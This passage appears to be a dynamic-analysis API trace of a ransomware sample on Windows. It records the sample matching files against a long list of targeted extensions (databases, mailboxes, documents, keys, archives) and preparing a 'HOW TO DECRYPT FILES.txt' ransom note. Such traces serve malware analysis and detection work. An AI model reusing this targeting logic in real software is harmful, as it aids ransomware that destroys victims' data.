lstrlenA (lpString="*.qba") returned 5 [0137.612] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.qby") returned 0 [0137.612] lstrlenA (lpString="*.qby") returned 5 [0137.612] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.qbj") returned 0 [0137.612] lstrlenA (lpString="*.qbj") returned 5 [0137.612] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.ofx") returned 0 [0137.612] lstrlenA (lpString="*.ofx") returned 5 [0137.612] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.qif") returned 0 [0137.612] lstrlenA (lpString="*.qif") returned 5 [0137.612] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.mye") returned 0 [0137.612] lstrlenA (lpString="*.mye") returned 5 [0137.612] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.mbox") returned 0 [0137.612] lstrlenA (lpString="*.mbox") returned 6 [0137.612] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.eml") returned 0 [0137.612] lstrlenA (lpString="*.eml") returned 5 [0137.612] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.pst") returned 0 [0137.612] lstrlenA (lpString="*.pst") returned 5 [0137.612] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.ost") returned 0 [0137.613] lstrlenA (lpString="*.ost") returned 5 [0137.613] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.idx") returned 0 [0137.613] lstrlenA (lpString="*.idx") returned 5 [0137.613] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.dbx") returned 0 [0137.613] lstrlenA (lpString="*.dbx") returned 5 [0137.613] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.sql") returned 0 [0137.613] lstrlenA (lpString="*.sql") returned 5 [0137.613] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.mdb") returned 0 [0137.613] lstrlenA (lpString="*.mdb") returned 5 [0137.613] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.fdb") returned 0 [0137.613] lstrlenA (lpString="*.fdb") returned 5 [0137.613] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.wab") returned 0 [0137.613] lstrlenA (lpString="*.wab") returned 5 [0137.613] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.dat") returned 0 [0137.613] lstrlenA (lpString="*.dat") returned 5 [0137.613] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.txt") returned 0 [0137.613] lstrlenA (lpString="*.txt") returned 5 [0137.613] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.jpeg") returned 0 [0137.613] lstrlenA (lpString="*.jpeg") returned 6 [0137.613] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.jpg") returned 0 [0137.613] lstrlenA (lpString="*.jpg") returned 5 [0137.613] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.png") returned 0 [0137.613] lstrlenA (lpString="*.png") returned 5 [0137.613] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.php") returned 0 [0137.613] lstrlenA (lpString="*.php") returned 5 [0137.614] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.cs") returned 0 [0137.614] lstrlenA (lpString="*.cs") returned 4 [0137.614] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.cpp") returned 0 [0137.614] lstrlenA (lpString="*.cpp") returned 5 [0137.614] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.rar") returned 0 [0137.614] lstrlenA (lpString="*.rar") returned 5 [0137.614] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.zip") returned 0 [0137.614] lstrlenA (lpString="*.zip") returned 5 [0137.614] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.html") returned 0 [0137.614] lstrlenA (lpString="*.html") returned 6 [0137.614] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.htm") returned 0 [0137.614] lstrlenA (lpString="*.htm") returned 5 [0137.614] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.xlsx") returned 0 [0137.614] lstrlenA (lpString="*.xlsx") returned 6 [0137.614] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.xls") returned 0 [0137.614] lstrlenA (lpString="*.xls") returned 5 [0137.614] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.mp4") returned 0 [0137.614] lstrlenA (lpString="*.mp4") returned 5 [0137.614] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.ppt") returned 0 [0137.614] lstrlenA (lpString="*.ppt") returned 5 [0137.614] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.pptx") returned 0 [0137.614] lstrlenA (lpString="*.pptx") returned 6 [0137.614] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.doc") returned 0 [0137.615] lstrlenA (lpString="*.doc") returned 5 [0137.615] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.dot") returned 0 [0137.615] lstrlenA (lpString="*.dot") returned 5 [0137.615] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.docx") returned 0 [0137.615] lstrlenA (lpString="*.docx") returned 6 [0137.615] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.7z") returned 0 [0137.615] lstrlenA (lpString="*.7z") returned 4 [0137.615] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.tar") returned 0 [0137.615] lstrlenA (lpString="*.tar") returned 5 [0137.615] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.bz2") returned 0 [0137.615] lstrlenA (lpString="*.bz2") returned 5 [0137.615] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.gz") returned 0 [0137.615] lstrlenA (lpString="*.gz") returned 4 [0137.615] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.mkv") returned 0 [0137.615] lstrlenA (lpString="*.mkv") returned 5 [0137.615] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.eml") returned 0 [0137.615] lstrlenA (lpString="*.eml") returned 5 [0137.615] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.msg") returned 0 [0137.615] lstrlenA (lpString="*.msg") returned 5 [0137.615] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.edb") returned 0 [0137.615] lstrlenA (lpString="*.edb") returned 5 [0137.615] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.accdb") returned 0 [0137.615] lstrlenA (lpString="*.accdb") returned 7 [0137.615] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.odb") returned 0 [0137.616] lstrlenA (lpString="*.odb") returned 5 [0137.616] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.java") returned 0 [0137.616] lstrlenA (lpString="*.java") returned 6 [0137.616] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.asm") returned 0 [0137.616] lstrlenA (lpString="*.asm") returned 5 [0137.616] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.pfx") returned 0 [0137.616] lstrlenA (lpString="*.pfx") returned 5 [0137.616] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.pem") returned 0 [0137.616] lstrlenA (lpString="*.pem") returned 5 [0137.616] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.p12") returned 0 [0137.616] lstrlenA (lpString="*.p12") returned 5 [0137.616] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.gpg") returned 0 [0137.616] lstrlenA (lpString="*.gpg") returned 5 [0137.616] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.vsd") returned 0 [0137.616] lstrlenA (lpString="*.vsd") returned 5 [0137.616] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.odg") returned 0 [0137.616] lstrlenA (lpString="*.odg") returned 5 [0137.616] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.raw") returned 0 [0137.616] lstrlenA (lpString="*.raw") returned 5 [0137.616] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.nef") returned 0 [0137.616] lstrlenA (lpString="*.nef") returned 5 [0137.616] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.svg") returned 0 [0137.616] lstrlenA (lpString="*.svg") returned 5 [0137.616] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.psd") returned 0 [0137.617] lstrlenA (lpString="*.psd") returned 5 [0137.617] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.vmx") returned 0 [0137.617] lstrlenA (lpString="*.vmx") returned 5 [0137.617] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.vmdk") returned 0 [0137.617] lstrlenA (lpString="*.vmdk") returned 6 [0137.617] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.vdi") returned 0 [0137.617] lstrlenA (lpString="*.vdi") returned 5 [0137.617] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.lay6") returned 0 [0137.617] lstrlenA (lpString="*.lay6") returned 6 [0137.617] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.mpeg") returned 0 [0137.617] lstrlenA (lpString="*.mpeg") returned 6 [0137.617] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.djvu") returned 0 [0137.617] lstrlenA (lpString="*.djvu") returned 6 [0137.617] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.tiff") returned 0 [0137.617] lstrlenA (lpString="*.tiff") returned 6 [0137.617] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.backup") returned 0 [0137.617] lstrlenA (lpString="*.backup") returned 8 [0137.617] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.pdf") returned 0 [0137.617] lstrlenA (lpString="*.pdf") returned 5 [0137.617] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.cert") returned 0 [0137.617] lstrlenA (lpString="*.cert") returned 6 [0137.617] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.docm") returned 0 [0137.617] lstrlenA (lpString="*.docm") returned 6 [0137.618] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.xlsm") returned 0 [0137.618] lstrlenA (lpString="*.xlsm") returned 6 [0137.618] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.dwg") returned 0 [0137.618] lstrlenA (lpString="*.dwg") returned 5 [0137.618] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.nd") returned 0 [0137.618] lstrlenA (lpString="*.nd") returned 4 [0137.618] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.tlg") returned 0 [0137.618] lstrlenA (lpString="*.tlg") returned 5 [0137.618] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.lgb") returned 0 [0137.618] lstrlenA (lpString="*.lgb") returned 5 [0137.618] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.mov") returned 0 [0137.618] lstrlenA (lpString="*.mov") returned 5 [0137.618] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.xdw") returned 0 [0137.618] lstrlenA (lpString="*.xdw") returned 5 [0137.618] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.ods") returned 0 [0137.618] lstrlenA (lpString="*.ods") returned 5 [0137.618] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.wav") returned 0 [0137.618] lstrlenA (lpString="*.wav") returned 5 [0137.618] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.mp3") returned 0 [0137.618] lstrlenA (lpString="*.mp3") returned 5 [0137.618] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.aiff") returned 0 [0137.618] lstrlenA (lpString="*.aiff") returned 6 [0137.618] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.flac") returned 0 [0137.618] lstrlenA (lpString="*.flac") returned 6 [0137.618] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.m4a") returned 0 [0137.619] lstrlenA (lpString="*.m4a") returned 5 [0137.619] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.csv") returned 0 [0137.619] lstrlenA (lpString="*.csv") returned 5 [0137.619] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x594911c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x10ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallUtilLib.dll", cAlternateFileName="INSTAL~1.DLL")) returned 1 [0137.619] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.619] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InstallUtilLib.dll") returned -1 [0137.619] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InstallUtilLib.dll") returned -1 [0137.619] lstrcmpiA (lpString1="", lpString2="InstallUtilLib.dll") returned -1 [0137.619] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config") returned="InstallUtil.exe.config" [0137.619] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.619] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.619] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.619] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.619] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="InstallUtilLib.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll" [0137.619] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.ems") returned 0 [0137.619] lstrlenA (lpString="*.ems") returned 5 [0137.619] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.db") returned 0 [0137.619] lstrlenA (lpString="*.db") returned 4 [0137.619] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.dbf") returned 0 [0137.619] lstrlenA (lpString="*.dbf") returned 5 [0137.619] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.myox") returned 0 [0137.620] lstrlenA (lpString="*.myox") returned 6 [0137.620] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.myo") returned 0 [0137.620] lstrlenA (lpString="*.myo") returned 5 [0137.620] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.qbw") returned 0 [0137.620] lstrlenA (lpString="*.qbw") returned 5 [0137.620] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.qbb") returned 0 [0137.620] lstrlenA (lpString="*.qbb") returned 5 [0137.620] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.qbm") returned 0 [0137.620] lstrlenA (lpString="*.qbm") returned 5 [0137.620] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.qbo") returned 0 [0137.620] lstrlenA (lpString="*.qbo") returned 5 [0137.620] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.qbx") returned 0 [0137.620] lstrlenA (lpString="*.qbx") returned 5 [0137.620] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.qba") returned 0 [0137.620] lstrlenA (lpString="*.qba") returned 5 [0137.620] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.qby") returned 0 [0137.620] lstrlenA (lpString="*.qby") returned 5 [0137.620] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.qbj") returned 0 [0137.620] lstrlenA (lpString="*.qbj") returned 5 [0137.620] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.ofx") returned 0 [0137.620] lstrlenA (lpString="*.ofx") returned 5 [0137.620] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.qif") returned 0 [0137.620] lstrlenA (lpString="*.qif") returned 5 [0137.620] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.mye") returned 0 [0137.620] lstrlenA (lpString="*.mye") returned 5 [0137.621] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.mbox") returned 0 [0137.621] lstrlenA (lpString="*.mbox") returned 6 [0137.621] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.eml") returned 0 [0137.621] lstrlenA (lpString="*.eml") returned 5 [0137.621] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.pst") returned 0 [0137.621] lstrlenA (lpString="*.pst") returned 5 [0137.621] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.ost") returned 0 [0137.621] lstrlenA (lpString="*.ost") returned 5 [0137.621] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.idx") returned 0 [0137.621] lstrlenA (lpString="*.idx") returned 5 [0137.621] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.dbx") returned 0 [0137.621] lstrlenA (lpString="*.dbx") returned 5 [0137.621] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.sql") returned 0 [0137.621] lstrlenA (lpString="*.sql") returned 5 [0137.621] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.mdb") returned 0 [0137.621] lstrlenA (lpString="*.mdb") returned 5 [0137.621] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.fdb") returned 0 [0137.621] lstrlenA (lpString="*.fdb") returned 5 [0137.621] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.wab") returned 0 [0137.621] lstrlenA (lpString="*.wab") returned 5 [0137.621] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.dat") returned 0 [0137.621] lstrlenA (lpString="*.dat") returned 5 [0137.621] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.txt") returned 0 [0137.621] lstrlenA (lpString="*.txt") returned 5 [0137.622] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.jpeg") returned 0 [0137.622] lstrlenA (lpString="*.jpeg") returned 6 [0137.622] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.jpg") returned 0 [0137.622] lstrlenA (lpString="*.jpg") returned 5 [0137.622] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.png") returned 0 [0137.622] lstrlenA (lpString="*.png") returned 5 [0137.622] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.php") returned 0 [0137.622] lstrlenA (lpString="*.php") returned 5 [0137.622] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.cs") returned 0 [0137.622] lstrlenA (lpString="*.cs") returned 4 [0137.622] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.cpp") returned 0 [0137.622] lstrlenA (lpString="*.cpp") returned 5 [0137.622] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.rar") returned 0 [0137.622] lstrlenA (lpString="*.rar") returned 5 [0137.622] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.zip") returned 0 [0137.622] lstrlenA (lpString="*.zip") returned 5 [0137.622] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.html") returned 0 [0137.622] lstrlenA (lpString="*.html") returned 6 [0137.622] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.htm") returned 0 [0137.622] lstrlenA (lpString="*.htm") returned 5 [0137.622] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.xlsx") returned 0 [0137.622] lstrlenA (lpString="*.xlsx") returned 6 [0137.622] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.xls") returned 0 [0137.622] lstrlenA (lpString="*.xls") returned 5 [0137.623] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll", pszSpec="*.mp4") returned 0 [0137.623] lstrlenA (lpString="*.mp4") returned 5 [0137.623] PathMatchSpecA 